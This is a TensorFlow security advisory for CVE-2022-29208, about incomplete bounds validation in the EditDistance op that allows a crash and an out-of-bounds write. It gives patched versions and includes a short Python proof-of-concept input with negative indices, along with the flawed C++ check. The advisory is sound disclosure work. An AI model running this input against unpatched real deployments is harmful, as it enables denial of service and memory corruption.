tensorflow / **tensorflow** Public

<> Code ⊙ Issues 2.1k Pull requests 284 ▷ Actions Projects 1 ···

Segfault and OOB write due to incomplete validation in `EditDistance`

Critical **mihaimaruseac** published **GHSA-2r2f-g8mw-9gvr** on May 17

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.9.0	2.6.4, 2.7.2, 2.8.1, 2.9.0

Description

Impact

The implementation of `tf.raw_ops.EditDistance` has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service:

```
import tensorflow as tf

hypothesis_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64)
hypothesis_values = tf.constant(0, shape=[3], dtype=tf.int64)
hypothesis_shape = tf.constant(0, shape=[3], dtype=tf.int64)

truth_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64)
truth_values = tf.constant(2, shape=[3], dtype=tf.int64)
truth_shape = tf.constant(2, shape=[3], dtype=tf.int64)

tf.raw_ops.EditDistance(
  hypothesis_indices=hypothesis_indices,
  hypothesis_values=hypothesis_values,
  hypothesis_shape=hypothesis_shape,
  truth_indices=truth_indices,
  truth_values=truth_values,
  truth_shape=truth_shape)
```

In multiple places throughout the code, we are computing an index for a write operation:

```
  if (g_truth == g_hypothesis) {
    auto loc = std::inner_product(g_truth.begin(), g_truth.end(),
                                  output_strides.begin(), int64_t{0});
    OP_REQUIRES(
        ctx, loc < output_elements,
        errors::Internal("Got an inner product ", loc,
                         " which would require in writing to outside of "
                         "the buffer for the output tensor (max elements ",
                         output_elements, ")"));
    output_t(loc) =
        gtl::LevenshteinDistance<T>(truth_seq, hypothesis_seq, cmp);
    // ...
  }
```

However, the existing validation only checks against the upper bound of the array. Hence, it is possible to write before the array by massaging the input to generate negative values for `loc`.

Patches

We have patched the issue in GitHub commit 30721cf564cb029d34535446d6a5a6357bebc8e7.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

Severity

Critical

CVE ID

CVE-2022-29208

Weaknesses

No CWEs